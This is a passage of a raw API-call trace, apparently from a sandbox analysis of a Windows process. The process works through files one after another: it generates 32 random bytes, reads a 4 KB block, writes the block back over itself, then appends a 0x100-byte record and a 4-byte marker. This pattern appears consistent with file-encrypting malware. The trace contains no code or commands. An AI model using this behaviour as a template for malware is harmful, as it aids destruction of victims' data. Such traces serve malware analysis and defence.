dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.931] GetProcessHeap () returned 0x540000 [0086.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.932] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.932] WriteFile (in: hFile=0x95c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.932] WriteFile (in: hFile=0x95c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.932] GetProcessHeap () returned 0x540000 [0086.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.932] CloseHandle (hObject=0x95c) returned 1 [0086.934] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 121 [0086.934] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] ReadFile (in: hFile=0x960, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.934] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] GetProcessHeap () returned 0x540000 [0086.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.934] GetProcessHeap () returned 0x540000 [0086.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.935] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.935] GetProcessHeap () returned 0x540000 [0086.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.935] ReadFile (in: hFile=0x960, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.987] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.987] WriteFile (in: hFile=0x960, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.987] GetProcessHeap () returned 0x540000 [0086.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.988] GetProcessHeap () returned 0x540000 [0086.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0086.989] GetProcessHeap () returned 0x540000 [0086.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.989] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.990] GetProcessHeap () returned 0x540000 [0086.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.991] GetProcessHeap () returned 0x540000 [0086.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.991] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.991] WriteFile (in: hFile=0x960, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.991] WriteFile (in: hFile=0x960, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.992] GetProcessHeap () returned 0x540000 [0086.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.992] GetProcessHeap () returned 0x540000 [0086.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.992] GetProcessHeap () returned 0x540000 [0086.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.992] CloseHandle (hObject=0x960) returned 1 [0086.993] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 122 [0086.993] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.993] ReadFile (in: hFile=0x964, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.994] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.994] GetProcessHeap () returned 0x540000 [0086.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.994] GetProcessHeap () returned 0x540000 [0086.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.994] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.994] GetProcessHeap () returned 0x540000 [0086.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.994] ReadFile (in: hFile=0x964, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.041] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.041] WriteFile (in: hFile=0x964, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.041] GetProcessHeap () returned 0x540000 [0087.041] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.041] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.042] GetProcessHeap () returned 0x540000 [0087.042] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.042] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.043] GetProcessHeap () 